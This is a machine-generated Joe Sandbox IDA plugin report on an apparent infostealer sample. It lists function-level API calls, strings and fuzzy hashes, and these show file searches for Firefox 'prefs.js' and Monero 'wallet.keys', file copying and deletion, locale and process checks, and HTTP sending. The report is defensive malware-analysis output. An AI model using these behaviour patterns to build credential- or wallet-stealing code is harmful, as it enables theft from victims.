Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 6d15e20203a38e79c1d65882027f04f4d1974efadc0f31eda74aaa9711c8d470
Instruction ID: ef7a271f8e0634c3975f3fed88cefa69546cdcb54ebb05288e6aae295c2e21d8
Opcode Fuzzy Hash: 6d15e20203a38e79c1d65882027f04f4d1974efadc0f31eda74aaa9711c8d470
Instruction Fuzzy Hash: 72121F71E10118AADB55EBA0DC92FEEB378BF56300F508199B11A62092DF742F49CF66

Function 00073EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00073EC3
FindFirstFileA.KERNEL32(?,?), ref: 00073EDA
StrCmpCA.SHLWAPI(?,00080FAC), ref: 00073F08
StrCmpCA.SHLWAPI(?,00080FB0), ref: 00073F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0007406C
FindClose.KERNEL32(000000FF), ref: 00074081

Strings

%s\%s, xrefs: 00073EB7

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 6df2b5fbf946a29cae50199f1f48bcb05848d81db29650549baeead66cff3d55
Instruction ID: 3b8b7a96dd09bace258557247360df0b8bf909c0185967ae3d9e1188b5a13f75
Opcode Fuzzy Hash: 6df2b5fbf946a29cae50199f1f48bcb05848d81db29650549baeead66cff3d55
Instruction Fuzzy Hash: 045112B2900218ABCB64EBA0DC49EEA737CBF44300F448599B65D96041DB79AB89CF95

Function 0006F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,000815B8,00080D96), ref: 0006F71E
StrCmpCA.SHLWAPI(?,000815BC), ref: 0006F76F
StrCmpCA.SHLWAPI(?,000815C0), ref: 0006F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0006FAB1
FindClose.KERNEL32(000000FF), ref: 0006FAC3

Strings

prefs.js, xrefs: 0006F812

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 279a8e13212221faffa378b4230dec7d03ad1ded4ceee3f119ac6bb519eb788c
Instruction ID: 9c2033fdb174654aacef3855369edfd026f92d9733ca2c8a36f0c7ab6f096d0c
Opcode Fuzzy Hash: 279a8e13212221faffa378b4230dec7d03ad1ded4ceee3f119ac6bb519eb788c
Instruction Fuzzy Hash: E9B14271E001089BCB64FF64DC96AEE7379AF95300F40C5A8A50E97192EF346B49CB96

Function 000616D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0008510C,?,?,?,000851B4,?,?,00000000,?,00000000), ref: 00061923
StrCmpCA.SHLWAPI(?,0008525C), ref: 00061973
StrCmpCA.SHLWAPI(?,00085304), ref: 00061989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00061D40
DeleteFileA.KERNEL32(00000000), ref: 00061DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00061E20
FindClose.KERNEL32(000000FF), ref: 00061E32

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Strings

\*.*, xrefs: 000617F1

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: c74531087ffc17fd09bcac6b27bb2a1a5ed51935ac411a63a3e21e85aa682337
Instruction ID: e4320a75da3312769ca6260e12e054891afab4e258c254e4b2e228e63dc9b0db
Opcode Fuzzy Hash: c74531087ffc17fd09bcac6b27bb2a1a5ed51935ac411a63a3e21e85aa682337
Instruction Fuzzy Hash: 86122471E101189BCB55FB60DC96EEE7378AF95300F408199B11E66092EF346F89CFA6

Function 0006DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,000814B0,00080C2A), ref: 0006DAEB
StrCmpCA.SHLWAPI(?,000814B4), ref: 0006DB33
StrCmpCA.SHLWAPI(?,000814B8), ref: 0006DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0006DDCC
FindClose.KERNEL32(000000FF), ref: 0006DDDE

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: f93924ea6eae26abe35edab275d3bfa6856876349bbb9346a4e769d1790ebb6a
Instruction ID: 9d9099f7eb42e87a81e3ee72bcc8cd371e660ef5d409f52fdc31605345742050
Opcode Fuzzy Hash: f93924ea6eae26abe35edab275d3bfa6856876349bbb9346a4e769d1790ebb6a
Instruction Fuzzy Hash: DC91F172E001049BCB14FBB4EC5A9EE737DAFC5300F40C559B91A96182EE389B59CB97

Function 00077B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

GetKeyboardLayoutList.USER32(00000000,00000000,000805AF), ref: 00077BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00077BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00077C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00077C62
LocalFree.KERNEL32(00000000), ref: 00077D22

Strings

/ , xrefs: 00077C7F

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: f32fcaa69aa091e205c108d82d9bf9c26270939ede4b85f5b228add2aa9b02b1
Instruction ID: 806fdc6252dd3643983fde45307e410529b32a5b1abb73371c2c53595e45f6c0
Opcode Fuzzy Hash: f32fcaa69aa091e205c108d82d9bf9c26270939ede4b85f5b228add2aa9b02b1
Instruction Fuzzy Hash: 9A413D71D40118ABDB64DB54DC99BEEB374FF48700F208199E10D66191DB382F89CFA6

Function 0006E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00080D73), ref: 0006E4A2
StrCmpCA.SHLWAPI(?,000814F8), ref: 0006E4F2
StrCmpCA.SHLWAPI(?,000814FC), ref: 0006E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0006EBDF

Strings

\*.*, xrefs: 0006E44D

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 0a5ec4f55d1caab58fb7a07f47b6d36de941a2b79795a6811d97c7a4ead3bdfb
Instruction ID: 1e55c36517a4e596dc4c97d42fffb11193ee89854e31145a558e63f54fe7f6b1
Opcode Fuzzy Hash: 0a5ec4f55d1caab58fb7a07f47b6d36de941a2b79795a6811d97c7a4ead3bdfb
Instruction Fuzzy Hash: CA124371E101149BDB58FB70DC96EEE7339AF95300F4081A9B50E56092EF386F49CBA6

Function 00079600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0007961E
Process32First.KERNEL32(00080ACA,00000128), ref: 00079632
Process32Next.KERNEL32(00080ACA,00000128), ref: 00079647
StrCmpCA.SHLWAPI(?,00000000), ref: 0007965C
CloseHandle.KERNEL32(00080ACA), ref: 0007967A

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
